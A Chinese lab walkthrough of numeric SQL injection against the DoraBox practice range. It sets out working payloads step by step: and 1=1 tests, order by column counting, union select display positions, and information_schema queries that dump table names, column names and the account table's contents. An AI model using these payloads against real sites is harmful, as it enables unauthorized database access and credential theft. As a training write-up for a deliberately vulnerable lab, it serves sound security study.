天天看点

DoraBox-sql注入数字型

第一步:打开目标网站

DoraBox-sql注入数字型
DoraBox-sql注入数字型

在框中我们随便输入1

DoraBox-sql注入数字型

第二步:and 1=1;and 1=2 测试注入点

1=1是永真表达式

而SELECT * FROM news WHERE id = 1 and 1=1只有两个语句SELECT * FROM news WHERE id = 1与1=1全都都为真,页面才会正常显示

DoraBox-sql注入数字型

1=2是永假表达式

而SELECT * FROM news WHERE id = 1 and 1=2只有两个语句SELECT * FROM news WHERE id = 1与1=2全都位真,页面才会正常显示,而因为1=2是假,所以页面不正常显示

DoraBox-sql注入数字型

说明,我们后面自己添加的 and 1=1与and 1=2都带入数据库中进行了执行,也就是说我们可以操控带入数据库中的SQL语句,想输入什么就输入什么。(只要我们可以控制输入,那么可以搞事情了)

第三步:order by 判断位数(也就是判断当前页面显示的内容,在数据库中是第几列内容)

输入order by 3,页面正常显示

DoraBox-sql注入数字型

输入order by 4,页面显示不正常

DoraBox-sql注入数字型

总结,当前数据表中只有3列内容

原理:select * from news order by 1 desc; 对news数据表中的第一列降序排列。

DoraBox-sql注入数字型

第四步:判断显示位

输入1 union select 1,2,3,页面正常显示,

DoraBox-sql注入数字型

输入-1 union select 1,2,3,爆出显示位

DoraBox-sql注入数字型

原理:select * from news where id =1 union select 1,2,3;显示出数据表中id=1的内容所在表中占第几列,但是首先显示的还是数据内容,所以故意输入个不存在的ID,select * from news where id =-1 union select 1,2,3;这样就不会有数据显示数据表中,而直接显示当前列数

DoraBox-sql注入数字型

第五步:查看当前连接目标网站的用户,以及数据库版本,发现是root用户,版本5.5.53

DoraBox-sql注入数字型

查看当前数据库的名字,发现是pentest

DoraBox-sql注入数字型

第六步:查看pentest数据库中全部的表名信息,因为MYSQL数据库版本是5.5.53在5.0以上,存在information_schema数据库(information_schema数据库中存在当前数据库的所有信息,比如:所有表名information_schema.tables,所有列名information_schema.columns,所有数据库名table_schema)

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘pentest’

DoraBox-sql注入数字型

获取到pentest数据库中全部的表:account、news

原理:

group_concat()函数作用:连接多列内容,以一行的形式展现,如下图所示。

DoraBox-sql注入数字型

第七步:查看pentest数据库中account表中所有的列名。

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘pentest’ and table_name=‘account’

DoraBox-sql注入数字型

第八步:查看pentest数据库中account表中的字段信息

1 union select 1,group_concat(id,’@’,rest,’@’,own),3 from pentest.account

注意:@符号作用是隔开两个列的内容,方便查看表中的信息。

DoraBox-sql注入数字型

更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。

DoraBox-sql注入数字型